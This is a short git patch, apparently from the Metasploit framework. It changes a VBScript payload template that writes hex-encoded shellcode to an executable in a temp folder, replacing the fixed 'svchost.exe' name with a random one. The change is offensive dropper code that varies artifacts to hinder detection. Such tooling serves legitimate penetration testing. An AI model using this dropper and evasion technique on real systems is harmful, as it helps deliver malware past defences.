From 2ef89eaf3527efeb6141ebe93922cb5e5c837003 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Fri, 18 Oct 2013 19:01:28 +0100 Subject: [PATCH] Randomize exe name --- data/templates/scripts/to_exe.vbs.template | 2 +- lib/msf/util/exe.rb | 1 + 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/data/templates/scripts/to_exe.vbs.template b/data/templates/scripts/to_exe.vbs.template index 460a2176d2..6aa043b20f 100644 --- a/data/templates/scripts/to_exe.vbs.template +++ b/data/templates/scripts/to_exe.vbs.template @@ -10,7 +10,7 @@ Function %{var_func}() Set %{var_tempdir} = %{var_obj}.GetSpecialFolder(2) %{var_basedir} = %{var_tempdir} & "\" & %{var_obj}.GetTempName() %{var_obj}.CreateFolder(%{var_basedir}) - %{var_tempexe} = %{var_basedir} & "\" & "svchost.exe" + %{var_tempexe} = %{var_basedir} & "\" & "%{var_exe}" Set %{var_stream} = %{var_obj}.CreateTextFile(%{var_tempexe}, true , false) For i = 1 to Len(%{var_shellcode}) Step 2 %{var_stream}.Write Chr(CLng("&H" & Mid(%{var_shellcode},i,2))) diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index b0064b4ca8..b025a64b63 100755 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -825,6 +825,7 @@ def self.to_vba(framework,code,opts={}) hash_sub = {} hash_sub[:var_shellcode] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_exe] = Rex::Text.rand_text_alpha(rand(8)+8) << '.exe' hash_sub[:var_fname] = Rex::Text.rand_text_alpha(rand(8)+8) hash_sub[:var_func] = Rex::Text.rand_text_alpha(rand(8)+8) hash_sub[:var_stream] = Rex::Text.rand_text_alpha(rand(8)+8)